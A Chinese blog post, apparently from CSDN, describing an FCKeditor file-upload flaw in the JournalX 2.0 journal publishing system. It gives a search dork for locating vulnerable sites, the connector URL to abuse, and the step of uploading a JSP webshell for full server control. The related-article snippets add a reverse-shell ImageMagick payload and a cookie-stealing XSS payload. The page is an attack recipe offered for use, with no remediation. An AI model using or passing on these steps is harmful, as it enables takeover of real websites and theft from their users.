大学网站沦陷之Journal报刊系统Fckeditor-0day

最新推荐文章于 2020-08-16 15:59:11 发布
最新推荐文章于 2020-08-16 15:59:11 发布
阅读量1.6k 收藏
点赞数
分类专栏： ccbz^漏洞整理 文章标签： 出版 google jsp 产品 web

影响版本：JournalX 2.0  
官方网站：http://www.magtech.com.cn

产品介绍：

JournalX 2.0率先为出版社/集团、期刊业推出了整体的解决方案。目前已经在遍布全国的600多家杂志社、十几家出版社得到应用。

google or baidu 关键字：inurl:volumn/current_abs.shtml

因FCKeditor/myconfig.js 过滤不严格导致上传任意格式文件。

在Web根目录访问 /FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector      上传JSP马 = 系统权限。

 上传后访问路径：http://www.sitedirsec.com/UserFiles/File/ 马的名字.jsp

 

hkccbz
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
某数字化校园系统通用型文件上传漏洞getshell（渗透测试-0day）
afei001
03-18 1153
目录 1.前言 2.文件上传点（实战复现） 3.提交SRC 4.getshell POC 声明： 仅用于渗透测试，白帽漏洞挖掘。请勿用做非法用途，非法使用造成后果自负。 1.前言 偶然在F12sec上看到一边文章，于是有了今天的挖洞过程。某位白帽子师傅发现某建站系统通用型漏洞，属于0day哦。不过这个0day漏洞也够无语的... 直接无任何限制可上传aspx可执行文件，并且漏洞点就在注册页面。这漏洞的挖掘也是站在巨人“PeiQi”师傅的肩膀上挖到的。 ...
实战挖掘某出版社漏洞集合
XunanSec的博客
05-27 699
0x00 前言 之前挖漏洞时，碰到的一个出版社漏洞，也是挺有名的，看码猜社哈哈。 0x01 主站XSS 主页搜索框，发现是get传参 http://www.*****.com/so.htm?&KEY=1%27%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E 个人中心XSS可打Cookie 基本资料，昵称处限制了长度，直接插入payload <sCRiPt sRC=http://xss.pt/xxxx>&l
ImageMagick漏洞（cve-2016-3714）利用及修复
HRay's blog
05-05 5259
利用： 如下内容保存为图片格式上传即可（命令部分自行替换） push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/1.1.1.1/8888 0>&1")' pop graphic-context 修复（php）： 上传时先利用getimage
Fckeditor漏洞总结及其***某服务器
weixin_34248849的博客
05-18 1313
1.1Fckeditor漏洞总结及其***某服务器   有些漏洞看起来简单，级别比较低，不如SQL注入等漏洞来的直接，但在条件合适的情况下，小漏洞发挥大作用，一直以来都想做一个Fckeditor漏洞总结，免得每次遇到目标都需要重新搜索，浪费时间。1.1.1FCKeditor编辑器漏洞利用总结1.判断fckeditor版本通过/fckeditor/editor/dialog/fck_about.ht...
体验ImageMagick 命令执行漏洞(CVE-2016–3714)的PoC
公众号shadow sock7
09-09 3426
首先安装好docker。环境地址GitHub地址： https://github.com/Medicean/VulApps 镜像地址： https://hub.docker.com/r/medicean/vulapps/ 镜像的各种Tag： https://hub.docker.com/r/medicean/vulapps/tags/ 环境搭建获取镜像$ docker pull medi
文件解析漏洞总结-Nginx
热门推荐
若水斋
08-18 3万+
与Apache相比，Nginx算是后起之秀，但大有赶超之势。百度一番，又谷歌一番，最终只找到了三个已公开的、关于Nginx的解析漏洞，记录如下
fckeditor-java_src.rar_FCKeditor-2.3_fckeditor_fckeditor s_opera
09-21
FCKeditor支持当前流行的浏览器如IE,Firefox,Netscape,Opera等戏中的坦克所遇到的障碍物主要有墙、炸弹(泡泡)。坦克的所到之处都可以留下炸弹，炸弹会在一定时间内爆炸，一旦对手被炸到，你就赢了~
fckeditor-java-2.4.1-src.zip_FCKeditor jsp_fckeditor-java_fcked
09-19
总的来说，FCKeditor-java-2.4.1是一个强大的Web富文本编辑工具，对于Java Web开发者来说，它能帮助实现更高级、更美观的文本编辑功能，提升网站或应用程序的用户体验。通过学习和掌握其使用，开发者可以更加自如地...
fckeditor-java-core-2.4.jar
09-24
包含sqljdbc、sqljdbc4、fckeditor-java-core-2.4、jtds-1.2.1、mysql-connector-java-5.0.8-bin-g、servlet-api、jstl-1.2的jar包
新闻文章Smarty+FCKeditor新闻系统实例-smartynew.rar
最新发布
04-08
【项目资源】：包含前端、后端、移动开发、操作系统、人工智能、物联网、信息化管理、数据库、硬件开发、大数据、课程资源、音视频、网站开发等各种技术项目的源码。包括STM32、ESP8266、PHP、QT、Linux、iOS、C++、...
XXE漏洞笔记
公众号shadow sock7
06-30 2941
参考： http://wooyun.jozxing.cc/static/bugs/wooyun-2014-059911.html http://bobao.360.cn/learning/detail/3841.html http://blog.csdn.net/u011721501/article/details/43775691 http://thief.one/2017/06/20/1
阿里新一代分布式任务调度平台Schedulerx2.0破土而出
weixin_33851429的博客
09-13 1447
原文：https://yq.aliyun.com/articles/699599 1. 产品简介 Schedulerx2.0是阿里中间件自研的基于Akka架构的新一代分布式任务调度平台，提供定时、任务编排、分布式跑批等功能。使用Schedulerx2.0，您可以在控制台配置管理您的定时任务，查询历史执行记录，查看运行日志。借助Schedulerx2.0...
内网渗透中最常见的十种漏洞分析总结
systemino的博客
08-16 5163
以下信息是根据2020年和2019年为全球各种中型组织和企业完成的60多个渗透测试报告汇总而来的，在跳转到列表之前，让我们简要介绍一下全面的测试方法。 0x01 测试方法 目的是使用白盒（灰盒）方法在现场进行内部基础设施渗透测试。 这意味着对用于测试的工具没有任何限制，并且范围信息也预先共享。 唯一的黑盒部分是，一开始并未提供网络访问权限。 因此，在对网络访问控制进行初步评估（NAC旁路，WiFi评估等）之后，通常会将测试者列入网络白名单，以便执行实际测试而不会在网络级别受到阻碍。 然后从网络上
Linux服务器管理员Journald初级指南
04-07 2881
http://os.51cto.com/art/201405/440886.htm Journald是为Linux服务器打造的新系统日志方式，它标志着文本日志文件的终结。现在日志信息写入到二进制文件，使用journalctl阅读，要获得这些信息，Linux管理员将需要一些实践。 Red Hat Enterprise Linux 7与SUSE Linux Enterprise Server
新突破fckeditor漏洞
weixin_34283445的博客
03-20 115
经测试，此方法通杀asp、aspx版本，不适用于php。 之前很多的方法，诸如上传*.asp等类型文件；创建*.asp等目录…… 今天遇到一个fck编辑器，跟之前很多次一样，以上方法均无果。 创建*.asp；*.php等目录无果；上传*.asp;.jpg等文件无果；神马cer之类的就不说了。 以下是误打误撞的方法，不知道黑扩们发了没。 仍然利用的以下地址： htt...
Linux Journald日志系统
toradexsh的博客
05-27 1万+
By Toradex 胡珊逢 1). 简介 长久以来 syslog 是每一个 Unix 系统中的重要部件。在漫长的历史中在各种 Linux 发行版中都有不同的实现去完成类似的工作，它们采取的是逻辑相近，并使用基本相同的文件格式。但是 syslog 也存在诸多的问题，随着新设备的出现以及对安全的重视，这些缺点越发显得突出，例如日志消息内容无法验证、数据格式松散、日志检索低效、有限的元数据保存、无
Web渗透之文件上传漏洞总结
weixin_30764883的博客
01-28 1004
From:https://www.secpulse.com/archives/95987.html 概述 文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存，而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一，需要说明的是上传文件操作本身...
漏洞复现篇——文件包含漏洞进阶-日志文件漏洞
爱国小白帽
02-19 1810
日志文件漏洞原理 当某个PHP文件存在本地包含漏洞，而却无法上传正常文件，这就意味这有包含漏洞却不能拿来利用，这时攻击者就有可能会利用apache日志文件来入侵。 Apache服务器运行后会生成两个日志文件，这两个文件是access.log(访问日志)和error.log(错误日志)，apache的日志文件记录下我们的操作，并且写到访问日志文件access.log之中 例如:http://192...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值